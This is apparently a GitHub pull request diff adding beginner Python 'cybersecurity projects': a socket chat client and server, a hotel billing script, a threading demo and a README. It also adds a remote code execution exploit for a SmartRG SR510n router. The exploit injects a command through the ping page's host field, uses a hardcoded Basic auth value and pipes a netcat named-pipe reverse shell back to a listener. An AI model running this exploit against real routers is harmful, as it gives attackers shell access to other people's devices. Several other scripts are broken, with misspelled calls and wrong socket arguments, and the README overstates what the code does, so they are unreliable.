Skip to content

Added Cybersecuriy projects #303

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 4 commits into from
Jun 28, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 32 additions & 0 deletions Cyber_security projects/CLIENT.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
#!/usr/bin/python3

import socket
import threading


def send_msg():
while True:

msg =input().encode()
s.send(msg)

def recv_msg():
while True:
recevied = s.recv(1024)
print(recevied.decode())


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("connecting..")
while True:
try:
s.connect("127.0.0.1",8888)
break
except CoonectionRefusedError:
continue

print("connected....")

t1 = threading.Thread(target=send_msg)
t1.start()
recv_msg()
34 changes: 34 additions & 0 deletions Cyber_security projects/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
## Project Title
Cyber_security Projects


## Project Description
The Project is a comprehensive cybersecurity tool designed to enhance the security of web applications and protect them from various threats. It provides a range of robust features and functionalities to identify vulnerabilities, perform penetration testing, and strengthen the overall security posture of web applications.

## Table of Contents
* Visit the official Python website: Go to the Python website at https://www.python.org/.

* Download the installer: On the Python website, navigate to the Downloads section. You'll find the latest stable version of Python available for download. Choose the appropriate installer for your operating system. Python is available for Windows, macOS, and various Linux distributions.

* Run the installer: Once the installer is downloaded, run the executable file to start the installation process.

* Customize the installation (optional): During the installation, you may have the option to customize the installation settings. You can choose the installation directory, add Python to the system's PATH (recommended), and select optional features.

* Start the installation: Proceed with the installation by following the prompts. The installer will extract and install Python on your system.

* Verify the installation: After the installation is complete, open a command prompt or terminal window and enter the following command:

```
python --version
```



## Usage
```
python <file_name>
```

## Contributing
Sathwik R - https://github.com/cicada0007

45 changes: 45 additions & 0 deletions Cyber_security projects/Remote Code Execution.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
# done by Sathwik.R - www.github.com/cicada0007

import requests
from subprocess import Popen, PIPE

router_host =3D "http://192.168.1.1"
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"

lhost =3D "lo"
lport =3D 80

payload_port =3D 81


def main():
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
send_payload(f"|nc {lhost} {payload_port}|sh")
print("done.. check shell")


def get_session():
url =3D router_host + "/admin/ping.html"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
r =3D requests.get(url, headers=3Dheaders).text
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
s =3D ""
while r[i] !=3D "'":
s =3D s + r[i]
i =3D i + 1
return s


def send_payload(payload):
print(payload)
url =3D router_host + "/admin/pingHost.cmd"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
: get_session()}
requests.get(url, headers=3Dheaders, params=3Dparams).text


main()
28 changes: 28 additions & 0 deletions Cyber_security projects/SERVER.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
#!/usr/bin/python3

import socket
import threading

def send_msg():
while True:
msg = input().encode()
client.send(msg)

def recv_msg():
while True:
recived = client.recv(1024)
print(recived.decode())


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind("127.0.0.1",8888)
print("Listeniing......")
s.listen(1)
client.addr = s.accept()
print()
print("connected.....")

t1 = threading.Thread(target=send_msg)
t1.start()
recv_msg()
118 changes: 118 additions & 0 deletions Cyber_security projects/hotelbill.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@

#this is my python lab mini project
#-------------------------SATHWIK.R
#-------------------------SHRADDESH
#-------------------------SIDDANTH




#createing the menu

menu={
"pizza":{
"small":{
"cost": 100,
"quantity":0
},
"medium":{
"cost": 200,
"quantity":0
},
"large":{
"cost": 300,
"quantity":0

}
},
"burger":{
"small":{
"cost":100,
"quantity":0
},
"medium":{
"cost":100,
"quantity":0
},
"large":{
"cost":100,
"quantity":0
}

},
"coke":{
"small":{
"cost":100,
"quantity":0
},
"medium":{
"cost":200,
"quantity":0

},
"large":{
"cost":300,
"quantity":0
}

},
"Chicken":{
"small":{
"cost":100,
"quantity":0
},
"medium":{
"cost":200,
"quantity":0
},
"large":{
"cost":300,
"quantity":0
}
}


}



#bill the following


def bill(menu):
total_bill=0
for item in menu:
for size in menu[item]:
total_bill += menu[item][size]["cost"] * menu[item][size]["quantity"]
return total_bill


#order of the entire program

def order(menu):
while(1):
print("OUR MENU\n1.pizza\n2.burger\n3.coke\n4.chicken\n\n\n")
item =input("\nENTER THE ITEM YOU NEED TO ORDER\n")

if item not in menu:

print("WE ARE SORRY!!!!!\nTHE ITEM IS NOT AVILABLE IN OUR HOTEL")
continue
print("THE SIZE AVILABLE ARE \n1.small\n2.medium\n3.large\n\n")
size = input("\nENTER THE SIZE OF THE ITEM\n")
if size not in menu[item]:
print("WE ARE SORRY!!!!\nWE DONT WHAVE THAT SIZE ")
continue
quantity=int(input("\nENTER THE QUNTITY\n"))
menu[item][size]["quantity"] += quantity
print("YOUR ORDER HAS BEEN PLACED ")
print("YOUR BILL IS",bill(menu))

print("\nTHANK YOU FOR OUR ORDER \n VISIT AGAIN :)")
print("DO YOU WANT TO ORDER MORE?? (Y/N) ")
choice = input()
if choice == "N":
break


order(menu)
18 changes: 18 additions & 0 deletions Cyber_security projects/threading.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
#made by Sathwik R - www.github.com/cicada0007

#1/usr/bin/python3

import threadinng


def loop1():
while True:
print("loop1")

def loop2():
while True:
prinnt("loop2")

t1 =threading.Threading(targrt=loop1)
t1.start()
loop2()